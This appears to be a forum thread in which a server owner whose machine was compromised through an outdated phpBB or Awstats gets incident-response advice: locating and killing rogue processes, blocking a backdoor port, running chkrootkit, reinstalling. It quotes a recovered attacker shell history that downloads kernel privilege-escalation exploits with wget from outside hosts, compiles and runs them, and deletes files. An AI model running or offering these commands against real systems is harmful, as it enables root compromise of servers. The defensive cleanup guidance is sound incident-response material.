Hacked

elflbl is associated with the uselib kernel exploit. My best guess is they are running it via a phpBB install that was never updated to 2.0.11.

-Chris

Someone managed to exploit code on your website and got it to run a command which downloaded a malicious Perl script and opened a port on the server (port 3131, if you want to block it in iptables) which gives anyone connecting to it a shell as whichever user the script was run under - in this case, www-data. You can see that there's a shell open:

> www-data 9694 9693 0 15:25 ttyp0 00:00:00 sh -i

After getting a shell your attacker most likely used wget to download files like elflbl and mremap2. I don't know what they do but odds are very likely your attacker will have downloaded a rootkit and attempted to use it too.

Much as it's tempting to kill the scripts first, it's a good idea to perform a little research so you can find the executables. The /proc filesystem will tell you (among other things) where the executables are, by way of a symlink, which can be very handy. For example, running this command as root should tell you where the mremap2 executable is located:

# ls -l /proc/9713/exe

After you've figured out where all the suspect executables are, you can now kill all those scripts. As root:

# killall elflbl mremap2 cgi
# kill 6814 6812

(if killing them this way doesn't work, try again using "-9" after the kill command)

Then to prevent them connecting to the same code again, block port 3131: (It's by no means a proper solution as the port is trivially changed, but it does buy you more time.)

# iptables -A INPUT -p tcp --dport 3131 -j DROP

Now, if you don't already have it, install chkrootkit. In fact, even if you do you already have it, uninstall it and reinstall it again to make sure you've got good binaries. Some distros come with it and others have an easy method of installing it (emerge, apt-get, urpmi, etc).

However, before running it, stop your network support entirely and continue working in lish. How you do this depends on your distro but "/etc/init.d/network stop" is normally a good bet. Failing that, "ifconfig eth0 down" should do the trick. Remember that if you're connected via SSH you won't receive a prompt after doing this so you'll need to connect to the lish console to carry on. (This is so that nobody can take advantage of your server while you're investigating it).

After running chkrootkit, it'll tell you if you have any 'infected' programs. Obviously you shouldn't use just one tool to tell if you have any, but I'm not sure of any others.

If you don't have any, the next step is to find the directory where your attacker uploaded this stuff to. Mostly these would be directories that can already be uploaded to - for example, forums have avatar upload functions that could theoretically be vulnerable to an attack like this. If you took note of the location of the executables earlier you've probably already nailed it. Otherwise, You're looking for files named elflbl, mremap2 or cgi specifically, although there'll probably be others too. Also, be aware that they may be scattered around the drive - attackers like to do that.

It may also be worth checking the .bashhistory file for root or any other users which may be affected (especially www-data, if you have one for that user). This may not reveal much though as logging to .bashhistory files is easily disabled and the files are also easily editable by the user - plus, if you had to kill the sh session with -9 above, it won't have been able to write to the history file.

Before bringing the system back up you should also change your root password and double-check your ps listing to make sure there aren't any suspicious processes, especially ones owned by www-data or root.

You may think this sounds like a lot but in actual fact it's not a lot at all. Your attacker may have edited the /etc/init.d/ or crontab files to download the files again at startup or at regular intervals. chkrootkit may not have detected a rootkit when there actually is one… etc, etc. If you want to be truly secure, back up your data (making sure it is just data - no binaries, etc) and reinstall the OS from the Distribution Wizard. Then restore your data and other settings. Yes, it takes a long time but unfortunately it's hard to make sure you're utterly clean otherwise.

Of course, you should also make sure you upgrade whatever script was vulnerable to the attack in the first place otherwise you'd just go through all this again next time round too.

People might call me paranoid. But when it comes to security it's better to be paranoid than to be lax. In my opinion, anyway.

Ha! found a directory /var/tmp. There is a .bash_history file with the following:

> w

df -h

uname -a

ps x

cd /etc/httpd

ls

locate httpd.conf

cd /etc/apache

ls

cat httpd.conf|grep ServerName

ls

cd tmp

cd tmp

cd /tmp

ls

uname -a

/dev/smb

/dev/shm

id

wget http://www.priv8crew.info/xpl/priv8smp

./priv8smp

chmod priv8smb 7

chmod 777 priv8smb

chmod 777 priv8smp

./priv8smp

wget http://www.priv8crew.info/xpl/priv8uselib

chmod 777priv8uselib

chmod 777 priv8uselib

./priv8uselib

wget http://www.priv8crew.info/xpl/brk2

chmod 777 brk2

./brk2

./brk2

wget http://www.priv8crew.info/xpl/belflbl

wget http://www.priv8crew.info/xpl/belflbl

wget [-] Unable to determine kernel address: Operation not supportedwg

wget http://www.priv8crew.info/xpl/elflbl

chmod 777 elflbl

./elflbl

rm -f *

exit

ls

cd /var/tmp/.dc

ls

gcc

wget http://packetstormsecurity.org/0501-exploits/uselib24.c

gcc uselib24.c -o uselib24

ls

./brk

di

id

ls

./elflbl

touch /dev/shm/elflib

cd /dev/shm/

cd /dev/

mkdir shm

./elflbl -l /tmp/elflib

cd /var/tmp/.dc

./elflbl -l /tmp/elflib

./elflbl -l /tmp/elflib -n2 -f

id

ls

./elflbl -n2 -f

./elflbl -l /tmp/elflib -n2 -f

./elflbl -l elflib -n2 -f

cd /va/tmp/.dc

cd /var/tmp/.dc

ls

id

./elflbl -l elflib -n2 -f

./elflbl -l elflib -n2 -f

cd /var/tmp/.dc

ls

./elflbl -l fsdfsd -n2 -f

ls

id

uname -a

cd /var/tmp/.dc

./elflbl -l hfasdufhasudhfasdhfusdhfusdhf

./elflbl -l elflib

./elflbl -l elflib -n5 -f

./elflbl -l elflib -n2 -f

ls

id

uname -a

cd /var/tmp/.dc

./elflbl -l hfasdufhasudhfasdhfusdhfusdhf

./elflbl -l elflib

./elflbl -l elflib -n5 -f

./elflbl -l elflib -n2 -f

./elflbl -l elflib -n2 -f

./elflbl -l /tmp/elflib -n2 -f

id

ls

id

uname -a

cd /var/tmp/.dc

./elflbl -l hfasdufhasudhfasdhfusdhfusdhf

./elflbl -l elflib

./elflbl -l elflib -n5 -f

./elflbl -l elflib -n2 -f

./elflbl -l elflib -n2 -f

./elflbl -l /tmp/elflib -n2 -f

id

uname -a

Found the exes, deleted, removing phpbb as I dont use it.

@Ciaran:

Someone managed to exploit code on your website and got it to run a command which downloaded a malicious Perl script and opened a port on the server (port 3131, if you want to block it in iptables) which gives anyone connecting to it a shell as whichever user the script was run under - in this case, www-data.

Ciaran, thank you for this very detailed response. I was able to take your advice and dig myself out. I have patched most software as well as getting my firewall up.

Again, thanks….

Ron

Ciaran++

Whoa! Mad props to Ciaran! That was amazing, I'm glad to know there's guys like you out there with the knowledge and are more than happy to give such a detailed response where this looks pretty serious.

Well I figured out someone got in using Awstats. There is a few exe's and such in my awstats directory as well as some scripts.

Will be taking down Awstats until further notice.

Heh, no problem, and thanks! I love doing sysadmin stuff. :D

By the way, one thing I forgot to mention is that running the following command as root will tell you what programs are acting as servers on your box:

# netstat -nptl

Despite the similarity, this command has nothing to do with the NPTL issue discussed elsewhere in the forums where you need to move /lib/tls to /lib/tls-disabled - it just happens to be four separate switches that I normally arrange in that order because it's a little easier to remember. :) Anyway, running the command can give you some insight into whether there are any 'bad' servers running (like the Perl script in this thread).

Linux kernel 2.4 uselib() privilege elevation exploit

More victims:

http://www.mail-archive.com/cobaltfacts … 02071.html">http://www.mail-archive.com/cobaltfacts@list.cobaltfacts.com/msg02071.html

Hah, I tried that exploit on my linode (sorry caker if I shouldn't of done that), anyways, it ground my box to a screeeching halt, I managed to kill the process but it took alot of running daemons with it (mail, apache, ircd, services, etc)

Well, I think I read that a Linode is good for experimentation.